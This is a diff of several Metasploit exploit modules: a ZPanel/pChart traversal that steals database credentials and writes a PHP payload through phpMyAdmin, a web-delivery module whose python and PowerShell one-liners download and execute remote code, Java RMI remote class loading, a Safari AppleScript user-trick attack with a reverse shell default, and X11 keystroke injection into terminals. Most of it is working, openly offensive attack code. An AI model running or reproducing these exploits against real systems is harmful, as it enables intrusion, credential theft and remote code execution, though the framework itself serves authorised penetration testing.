if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
|
||||||
|
print_good('PHPMyAdmin login successful!')
|
||||||
|
return new_cookies, token
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_sql(cookies, token, uri)
|
||||||
|
fname = "#{rand_text_alpha_upper(5)}.php"
|
||||||
|
sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
|
||||||
|
'cookie' => cookies,
|
||||||
|
'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8',
|
||||||
|
'headers' => {
|
||||||
|
'X-Requested-With' => 'XMLHttpRequest',
|
||||||
|
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'is_js_confirmed' => '0',
|
||||||
|
'token' => token,
|
||||||
|
'pos' => '0',
|
||||||
|
'goto' => 'server_sql.php',
|
||||||
|
'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
|
||||||
|
'prev_sql_query' => '',
|
||||||
|
'sql_query' => sql_stmt,
|
||||||
|
'sql_delimiter' => ';',
|
||||||
|
'show_query' => '1',
|
||||||
|
'ajax_request' => 'true',
|
||||||
|
'_nocache' => rand.to_s[2..19].to_i
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.body =~ /"success":true/
|
||||||
|
print_good("'#{fname}' successfully uploaded")
|
||||||
|
print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
|
||||||
|
print_status("Executing '#{fname}' on the remote host")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method'=>'GET',
|
||||||
|
'uri'=>normalize_uri("#{uri}", "#{fname}")
|
||||||
|
})
|
||||||
|
else
|
||||||
|
print_error("#{res.body.to_s}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Checking pChart
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method'=> 'GET',
|
||||||
|
'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
|
||||||
|
})
|
||||||
|
|
||||||
|
# if pChart is vuln version
|
||||||
|
if res.body =~ /pChart 2\.x/
|
||||||
|
uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
|
||||||
|
if uname.length > 0 && passwd.length > 0
|
||||||
|
print_good('Directory traversal successful, Username/Password identified!')
|
||||||
|
print_good("Username: #{uname}")
|
||||||
|
print_good("Password: #{passwd}")
|
||||||
|
print_good("DB Name: #{db_name}")
|
||||||
|
cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
|
||||||
|
print_status('Logging into PHPMyAdmin now')
|
||||||
|
cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
|
||||||
|
print_status('Uploading malicious payload now')
|
||||||
|
do_sql(cookies, token, "#{datastore['URI']}")
|
||||||
|
else
|
||||||
|
print_error('It appears that the directory traversal was unsuccessful...')
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("It appears that the version of pChart is not vulnerable...")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -32,6 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
[ 'CVE', '2015-7709' ],
|
||||||
|
[ 'EDB', '37600' ],
|
||||||
|
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jul/54' ]
|
||||||
],
|
],
|
||||||
'Privileged' => true,
|
'Privileged' => true,
|
||||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||||
|
@ -552,4 +555,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_files_for_cleanup("c:\\#{@down_file}.exe")
|
register_files_for_cleanup("c:\\#{@down_file}.exe")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpServer
|
include Msf::Exploit::Remote::HttpServer
|
||||||
include Msf::Java::Rmi::Client
|
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
|
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
|
||||||
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
|
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
register_common_rmi_ports_and_services
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
|
@ -93,6 +93,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
connect
|
connect
|
||||||
|
|
||||||
|
@ -141,7 +145,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
|
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
|
||||||
end
|
end
|
||||||
|
|
||||||
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
# First try to connect to the original RHOST, since the mbean address may be inaccessible
|
||||||
|
begin
|
||||||
|
connect(true, { 'RPORT' => mbean_server[:port] })
|
||||||
|
rescue Rex::ConnectionError
|
||||||
|
# If that fails, try connecting to the listed address instead
|
||||||
|
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||||
|
end
|
||||||
|
|
||||||
unless is_rmi?
|
unless is_rmi?
|
||||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
|
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Java::Rmi::Client
|
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||||
include Msf::Exploit::Remote::HttpServer
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
This module takes advantage of the default configuration of the RMI Registry and
|
This module takes advantage of the default configuration of the RMI Registry and
|
||||||
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
|
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
|
||||||
invokes a method in the RMI Distributed Garbage Collector which is available via every
|
invokes a method in the RMI Distributed Garbage Collector which is available via every
|
||||||
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
|
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
|
||||||
(custom) RMI endpoints as well.
|
(custom) RMI endpoints as well.
|
||||||
|
|
||||||
Note that it does not work against Java Management Extension (JMX) ports since those do
|
Note that it does not work against Java Management Extension (JMX) ports since those do
|
||||||
|
@ -82,11 +82,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
))
|
))
|
||||||
register_options([
|
register_options([
|
||||||
Opt::RPORT(1099),
|
Opt::RPORT(1099),
|
||||||
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
|
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
|
||||||
], self.class)
|
], self.class)
|
||||||
|
register_common_rmi_ports_and_services
|
||||||
register_autofilter_ports([ 1098, 1099 ])
|
|
||||||
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
@ -97,12 +95,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# RuntimeError so it won't wait the full wfs_delay
|
# RuntimeError so it won't wait the full wfs_delay
|
||||||
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
|
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
|
||||||
rescue Msf::Exploit::Failed
|
rescue Msf::Exploit::Failed
|
||||||
# When the server stops due primer failing, re-raise
|
# When the server stops due primer failing, re-raise
|
||||||
# RuntimeError so it won't wait the full wfs_delays
|
# RuntimeError so it won't wait the full wfs_delays
|
||||||
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
|
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
|
||||||
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
|
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
|
||||||
# When the primer fails due to an error connecting with
|
# When the primer fails due to an error connecting with
|
||||||
# the rhost, re-raise RuntimeError so it won't wait the
|
# the rhost, re-raise RuntimeError so it won't wait the
|
||||||
# full wfs_delays
|
# full wfs_delays
|
||||||
raise ::RuntimeError, e.message
|
raise ::RuntimeError, e.message
|
||||||
end
|
end
|
||||||
|
@ -150,28 +148,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
uid_time: 0,
|
uid_time: 0,
|
||||||
uid_count: 0,
|
uid_count: 0,
|
||||||
operation: 0,
|
operation: 0,
|
||||||
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
|
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
|
||||||
arguments: build_dgc_clean_args(new_url)
|
arguments: build_dgc_clean_args(new_url)
|
||||||
)
|
)
|
||||||
|
|
||||||
return_value = recv_return
|
return_value = recv_return
|
||||||
|
|
||||||
if return_value.nil? && !session_created?
|
if return_value.nil? && !session_created?
|
||||||
fail_with(Failure::Unknown, 'RMI Call failed')
|
fail_with(Failure::Unknown, 'RMI Call failed')
|
||||||
end
|
end
|
||||||
|
|
||||||
if return_value && return_value.is_exception? && loader_disabled?(return_value)
|
if return_value && return_value.is_exception? && loader_disabled?(return_value)
|
||||||
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
|
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
|
||||||
end
|
end
|
||||||
|
|
||||||
if return_value && return_value.is_exception? && class_not_found?(return_value)
|
if return_value && return_value.is_exception? && class_not_found?(return_value)
|
||||||
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
|
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
|
||||||
end
|
end
|
||||||
|
|
||||||
disconnect
|
disconnect
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
if request.uri =~ /\.jar$/i
|
if request.uri =~ /\.jar$/i
|
||||||
p = regenerate_payload(cli)
|
p = regenerate_payload(cli)
|
||||||
jar = p.encoded_jar
|
jar = p.encoded_jar
|
||||||
|
@ -202,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
||||||
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||||
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||||
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
|
||||||
exception.class_data[1].contents.include?('RMI class loader disabled')
|
exception.class_data[1].contents.include?('RMI class loader disabled')
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
@ -252,7 +250,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
new_array.array_description = array_desc
|
new_array.array_description = array_desc
|
||||||
|
|
||||||
arguments << new_array
|
arguments << new_array
|
||||||
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||||
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
||||||
|
|
|
@ -89,7 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
||||||
when 'PSH'
|
when 'PSH'
|
||||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||||
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
|
||||||
|
download_and_run = "#{ignore_cert}#{download_string}"
|
||||||
print_line generate_psh_command_line(
|
print_line generate_psh_command_line(
|
||||||
noprofile: true,
|
noprofile: true,
|
||||||
windowstyle: 'hidden',
|
windowstyle: 'hidden',
|
||||||
|
|
|
@ -0,0 +1,93 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::Remote::BrowserExploitServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Safari User-Assisted Applescript Exec Attack',
|
||||||
|
'Description' => %q{
|
||||||
|
In versions of Mac OS X before 10.11.1, the applescript:// URL
|
||||||
|
scheme is provided, which opens the provided script in the Applescript
|
||||||
|
Editor. Pressing cmd-R in the Editor executes the code without any
|
||||||
|
additional confirmation from the user. By getting the user to press
|
||||||
|
cmd-R in Safari, and by hooking the cmd-key keypress event, a user
|
||||||
|
can be tricked into running arbitrary Applescript code.
|
||||||
|
|
||||||
|
Gatekeeper should be disabled from Security & Privacy in order to
|
||||||
|
avoid the unidentified Developer prompt.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Platform' => ['unix', 'osx'],
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd'
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Mac OS X', {} ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' },
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Oct 16 2015',
|
||||||
|
'Author' => [ 'joev' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2015-7007' ],
|
||||||
|
[ 'URL', 'https://support.apple.com/en-us/HT205375' ]
|
||||||
|
],
|
||||||
|
'BrowserRequirements' => {
|
||||||
|
:source => 'script',
|
||||||
|
:ua_name => HttpClients::SAFARI,
|
||||||
|
:os_name => OperatingSystems::Match::MAC_OSX
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('CONTENT', [false, "Content to display in browser",
|
||||||
|
"This page has failed to load. Press cmd-R to refresh."]),
|
||||||
|
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_exploit(cli, request, profile)
|
||||||
|
print_status("Sending #{self.name}")
|
||||||
|
send_response_html(cli, exploit_html)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_html
|
||||||
|
"<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>"
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_js
|
||||||
|
js_obfuscate %Q|
|
||||||
|
var as = Array(150).join("\\n") +
|
||||||
|
'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"';
|
||||||
|
var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as);
|
||||||
|
window.onkeydown = function(e) {
|
||||||
|
if (e.keyCode == 91) {
|
||||||
|
window.location = url;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def sh
|
||||||
|
'killall "Script Editor"; nohup ' + payload.encoded
|
||||||
|
end
|
||||||
|
|
||||||
|
def content
|
||||||
|
datastore['CONTENT']
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
end
|
|
@ -59,6 +59,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
send_response(cli, data)
|
send_response(cli, data)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => '/search',
|
'uri' => '/search',
|
||||||
|
|
|
@ -146,4 +146,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
send_not_found(cli)
|
send_not_found(cli)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -121,6 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
uris.uniq!
|
uris.uniq!
|
||||||
print_status("Loaded #{uris.length} URLs")
|
print_status("Loaded #{uris.length} URLs")
|
||||||
|
http_method = "GET"
|
||||||
end
|
end
|
||||||
|
|
||||||
# Very short timeout because the request may never return if we're
|
# Very short timeout because the request may never return if we're
|
||||||
|
|
|
@ -63,6 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
"#{get_uri}.php"
|
"#{get_uri}.php"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
def call_payload(file_name)
|
def call_payload(file_name)
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
|
|
|
@ -0,0 +1,494 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
KB_KEYS = {
|
||||||
|
'1' => "\x0a",
|
||||||
|
'2' => "\x0b",
|
||||||
|
'3' => "\x0c",
|
||||||
|
'4' => "\x0d",
|
||||||
|
'5' => "\x0e",
|
||||||
|
'6' => "\x0f",
|
||||||
|
'7' => "\x10",
|
||||||
|
'&' => "\x10",
|
||||||
|
'8' => "\x11",
|
||||||
|
'9' => "\x12",
|
||||||
|
'(' => "\x12",
|
||||||
|
'0' => "\x13",
|
||||||
|
')' => "\x13",
|
||||||
|
'-' => "\x14",
|
||||||
|
'=' => "\x15",
|
||||||
|
'q' => "\x18",
|
||||||
|
'w' => "\x19",
|
||||||
|
'e' => "\x1a",
|
||||||
|
'r' => "\x1b",
|
||||||
|
't' => "\x1c",
|
||||||
|
'y' => "\x1d",
|
||||||
|
'u' => "\x1e",
|
||||||
|
'i' => "\x1f",
|
||||||
|
'o' => "\x20",
|
||||||
|
'p' => "\x21",
|
||||||
|
'[' => "\x22",
|
||||||
|
'{' => "\x22",
|
||||||
|
']' => "\x23",
|
||||||
|
'}' => "\x23",
|
||||||
|
'a' => "\x26",
|
||||||
|
's' => "\x27",
|
||||||
|
'd' => "\x28",
|
||||||
|
'f' => "\x29",
|
||||||
|
'g' => "\x2a",
|
||||||
|
'h' => "\x2b",
|
||||||
|
'j' => "\x2c",
|
||||||
|
'k' => "\x2d",
|
||||||
|
'l' => "\x2e",
|
||||||
|
';' => "\x2f",
|
||||||
|
':' => "\x2f",
|
||||||
|
"'" => "\x30",
|
||||||
|
'"' => "\x30",
|
||||||
|
'`' => "\x31",
|
||||||
|
'~' => "\x31",
|
||||||
|
'lshift' => "\x32",
|
||||||
|
'\\' => "\x33",
|
||||||
|
'|' => "\x33",
|
||||||
|
'z' => "\x34",
|
||||||
|
'x' => "\x35",
|
||||||
|
'c' => "\x36",
|
||||||
|
'v' => "\x37",
|
||||||
|
'b' => "\x38",
|
||||||
|
'n' => "\x39",
|
||||||
|
'm' => "\x3a",
|
||||||
|
',' => "\x3b",
|
||||||
|
'<' => "\x3b",
|
||||||
|
'.' => "\x3c",
|
||||||
|
'>' => "\x3c",
|
||||||
|
'/' => "\x3d",
|
||||||
|
'*' => "\x3f",
|
||||||
|
'alt' => "\x40",
|
||||||
|
' ' => "\x41",
|
||||||
|
'f2' => "\x44"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'X11 Keyboard Command Injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits open X11 servers by connecting and registering a
|
||||||
|
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
|
||||||
|
terminal and type and execute the specified payload.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'xistence <xistence[at]0x90.nl>'
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd cmd_bash',
|
||||||
|
'RequiredCmd' => 'gawk bash-tcp python netcat'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => ['unix'],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'xterm (Generic)', {}],
|
||||||
|
[ 'gnome-terminal (Ubuntu)', {}],
|
||||||
|
], 'DisclosureDate' => 'Jul 10 2015',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(6000),
|
||||||
|
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def xkeyboard_key
|
||||||
|
req = ""
|
||||||
|
req << @xkeyboard_opcode
|
||||||
|
req << "\x05" # Extension minor: 5 (LatchLockState)
|
||||||
|
req << "\x04\x00" # Request length: 4
|
||||||
|
req << "\x00\x01" # DeviceSpec: 0x0100 (256)
|
||||||
|
req << "\x00" # affectModLocks: 0
|
||||||
|
req << "\x00" # modLocks: 0
|
||||||
|
req << "\x01" # lockGroup: True
|
||||||
|
req << "\x00" # groupLock: 0
|
||||||
|
req << "\x00" # affectModLatches: 0
|
||||||
|
req << "\x00" # Unused
|
||||||
|
req << "\x00" # latchGroup: False
|
||||||
|
req << "\x00\x00" # groupLatch: 0
|
||||||
|
req << "\x00" # Undecoded
|
||||||
|
return req
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def press_key(key)
|
||||||
|
|
||||||
|
req = xkeyboard_key
|
||||||
|
|
||||||
|
req << @xtest_opcode
|
||||||
|
req << "\x02" # Extension minor: 2 (FakeInput)
|
||||||
|
req << "\x09\x00" # Request length: 9
|
||||||
|
req << "\x02" # Press key (Type: 2)
|
||||||
|
req << key # What key to press
|
||||||
|
req << "\x04\x00" # Unused?
|
||||||
|
req << "\x00\x00\x00\x00" # Time
|
||||||
|
req << "\x00\x00\x00\x00" # Root
|
||||||
|
req << "\x07\x00\x07\x00" # Unused?
|
||||||
|
req << "\x88\x04\x02\x00" # Unused?
|
||||||
|
#req << "\x00\x01" # rootX: 256
|
||||||
|
#req << "\xf5\x05" # rootY: 1525
|
||||||
|
req << "\x00\x00" # rootX: 0
|
||||||
|
req << "\x00\x00" # rootY: 0
|
||||||
|
req << "\x00\x00\x00\x00" # Unused?
|
||||||
|
req << "\x00\x00\x00" # Unused?
|
||||||
|
req << "\x00" # deviceid: 0
|
||||||
|
|
||||||
|
req << xkeyboard_key
|
||||||
|
|
||||||
|
req << "\x2b" # Opcode 43: GetInputFocus
|
||||||
|
req << "\x00" # Unused
|
||||||
|
req << "\x01\x00" # Request length: 1
|
||||||
|
|
||||||
|
sock.put(req)
|
||||||
|
|
||||||
|
res = sock.get_once
|
||||||
|
|
||||||
|
# Response should give 1 on first byte (Success)
|
||||||
|
unless res && res[0,1] == "\x01"
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def release_key(key)
|
||||||
|
|
||||||
|
req = xkeyboard_key
|
||||||
|
|
||||||
|
req << @xtest_opcode
|
||||||
|
req << "\x02" # Extension minor: 2 (FakeInput)
|
||||||
|
req << "\x09\x00" # Request length: 9
|
||||||
|
req << "\x03" # Release key (Type: 3)
|
||||||
|
req << key # What key to release
|
||||||
|
req << "\x04\x00" # Unused?
|
||||||
|
req << "\x00\x00\x00\x00" # Time
|
||||||
|
req << "\x00\x00\x00\x00" # Root
|
||||||
|
req << "\x07\x00\x07\x00" # Unused?
|
||||||
|
req << "\x88\x04\x02\x00" # Unused?
|
||||||
|
#req << "\x00\x01" # rootX: 256
|
||||||
|
#req << "\xf5\x05" # rootY: 1525
|
||||||
|
req << "\x00\x00" # rootX: 0
|
||||||
|
req << "\x00\x00" # rootY: 0
|
||||||
|
req << "\x00\x00\x00\x00" # Unused?
|
||||||
|
req << "\x00\x00\x00" # Unused?
|
||||||
|
req << "\x00" # deviceid: 0
|
||||||
|
|
||||||
|
req << xkeyboard_key
|
||||||
|
|
||||||
|
req << "\x2b" # Opcode 43: GetInputFocus
|
||||||
|
req << "\x00" # Unused
|
||||||
|
req << "\x01\x00" # Request length: 1
|
||||||
|
|
||||||
|
sock.put(req)
|
||||||
|
|
||||||
|
res = sock.get_once
|
||||||
|
|
||||||
|
# Response should give 1 on first byte (Success)
|
||||||
|
unless res && res[0,1] == "\x01"
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def type_command(command)
|
||||||
|
# Specify the special keys which need to have shift pressed first to type
|
||||||
|
specialkeys = '<>{}|"&()'.chars
|
||||||
|
values = command.chars
|
||||||
|
values.each do |value|
|
||||||
|
key = KB_KEYS[value]
|
||||||
|
# Special keys need a shift pressed to be typed
|
||||||
|
if Regexp.union(specialkeys) =~ value
|
||||||
|
press_key(KB_KEYS["lshift"]) # [lshift]
|
||||||
|
press_key(key)
|
||||||
|
release_key(KB_KEYS["lshift"])
|
||||||
|
release_key(key)
|
||||||
|
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
|
||||||
|
elsif value =~ /[A-Z]/
|
||||||
|
press_key(KB_KEYS["lshift"]) # [lshift]
|
||||||
|
press_key(KB_KEYS[value.downcase])
|
||||||
|
release_key(KB_KEYS["lshift"])
|
||||||
|
release_key(KB_KEYS[value.downcase])
|
||||||
|
# All normal keys which are not special keys or uppercase characters
|
||||||
|
else
|
||||||
|
press_key(key)
|
||||||
|
release_key(key)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
